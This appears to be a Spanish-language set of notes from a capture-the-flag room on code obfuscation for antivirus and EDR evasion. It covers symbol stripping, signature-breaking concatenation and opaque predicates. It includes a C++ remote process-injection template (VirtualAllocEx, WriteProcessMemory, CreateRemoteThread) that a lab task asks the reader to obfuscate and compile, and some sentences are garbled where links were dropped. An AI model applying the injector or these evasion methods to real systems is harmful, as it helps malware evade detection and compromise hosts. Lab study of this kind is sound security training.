Afortunadamente para los atacantes, los archivos de símbolos se eliminan fácilmente mediante el compilador o después de la compilación. Para eliminar símbolos de un compilador como Visual Studio , necesitamos cambiar el destino de compilación de Debuga Releaseo usar un compilador más liviano como mingw.

Si necesitamos eliminar símbolos de una imagen precompilada, podemos usar la utilidad de línea de comandos: strip.

A continuación se muestra un ejemplo del uso de strip para eliminar los símbolos de un binario compilado en gcc con la depuración habilitada.

nm cmdshell.exe
strip --strip-all cmdshell.exe
nm cmdshell.exe

exit

Utilizando el conocimiento que ha acumulado a lo largo de esta tarea, elimine cualquier identificador significativo o información de depuración del código fuente de C++ a continuación utilizando AttackBox o su propia máquina virtual.

Una vez que esté adecuadamente ofuscado y eliminado, compile el código fuente usando MingW32-G++y envíelo al servidor web en http://MACHINE_IP/.

Nota: el nombre del archivo debe ser challenge-8.exepara recibir la bandera.

#include "windows.h"
#include <iostream>
#include <string>
using namespace std;

int main(int argc, char* argv[])
{
	unsigned char shellcode[] = "";

	HANDLE processHandle;
	HANDLE remoteThread;
	PVOID remoteBuffer;
	string leaked = "This was leaked in the strings";

	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	cout << "Handle obtained for" << processHandle;
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	cout << "Buffer Created";
	WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	cout << "Process written with buffer" << remoteBuffer;
	remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(processHandle);
	cout << "Closing handle" << processHandle;
	cout << leaked;

	return 0;
} 

Dos de los límites de seguridad más importantes para un adversario son los motores antivirus y las soluciones EDR ( Endpoint Detection & R esponse). Como se explicó en la , ambas plataformas aprovecharán una extensa base de datos de firmas conocidas denominadas firmas estáticas , así como firmas heurísticas que consideran el comportamiento de las aplicaciones.

El documento técnico antes mencionado: resume bien estas prácticas en la capa de elementos de código . A continuación se muestra una tabla de métodos cubiertos por la taxonomía en la subcapa de datos ofuscadores .

El documento técnico antes mencionado: resume bien estas prácticas en la subcapa de división/fusión de datos de la capa de elementos de código .

¿Qué significa esto para los atacantes? La concatenación puede abrir las puertas a varios vectores para modificar firmas o manipular otros aspectos de una aplicación. El ejemplo más común de concatenación utilizada en malware es romper firmas estáticas específicas , como se explica en la . Los atacantes también pueden usarlo de forma preventiva para dividir todos los objetos de un programa e intentar eliminar todas las firmas a la vez sin buscarlas, algo que se ve comúnmente en los ofuscadores, como se explica en la tarea 9.

Para obtener más información sobre ingeniería inversa, consulte el .

El documento técnico antes mencionado: resume bien estas prácticas en otras subcapas de la capa de elementos de código . A continuación se muestra una tabla de métodos cubiertos por la taxonomía en las subcapas de diseño de ofuscación y controles de ofuscación .

Diagrama de flujo de control que muestra dos rutas lógicas diferentes

Aplicando este concepto a la ofuscación, se utilizan predicados opacos para controlar una salida y una entrada conocidas. El artículo, , afirma: “Un predicado opaco es un predicado cuyo valor es conocido por el ofuscador pero que es difícil de deducir. Se puede aplicar perfectamente con otros métodos de ofuscación, como el código basura, para convertir los intentos de ingeniería inversa en un trabajo arduo”. Los predicados opacos caen bajo los métodos falsos de flujo de control y flujo de control probabilístico del artículo de taxonomía; se pueden utilizar para agregar lógica arbitrariamente a un programa o refactorizar el flujo de control de una función preexistente.

Diagrama de flujo de control que muestra los distintos caminos lógicos de la conjetura de collatz

La conjetura de Collatz es un problema matemático común que puede usarse como ejemplo de predicado opaco. Dice: Si se repiten dos operaciones aritméticas, devolverán una de cada número entero positivo. El hecho de que sepamos que siempre generará uno para una entrada conocida (un número entero positivo) significa que es un predicado opaco viable. Para obtener más información sobre la conjetura de Collatz, consulte el . A continuación se muestra un ejemplo de la conjetura de Collatz aplicada en Python.

El documento técnico antes mencionado: resume bien estas prácticas bajo el método de identificadores sin sentido de la capa de elemento de código .

Como ejemplo de un lenguaje interpretado, podemos observar el obsoleto del .

El documento técnico antes mencionado: resume bien estas prácticas bajo el método de eliminación de símbolos redundantes de la capa de elemento de código .

Se deben considerar varias otras propiedades antes de utilizar activamente una herramienta, como la entropía o el hash. Estos conceptos se tratan en la tarea 5 de la .

sala de Introducción al antivirus
Taxonomía de ofuscación en capas
Taxonomía de ofuscación por capas
sala Signature Evasion
módulo Análisis de malware
Taxonomía de ofuscación en capas
Predicado opaco: ataque y defensa en código binario ofuscado
Problema de Collatz
Taxonomía de ofuscación en capas
cargador Badger PowerShell
BRC4 Community Kit
Taxonomía de ofuscación por capas
sala Signature Evasion
ProGuard
Ofuscación por capas: una taxonomía de técnicas de ofuscación de software para papel de seguridad por capas
20231024224555.png
20231024224615.png
20231024224655.png
20231024225048.png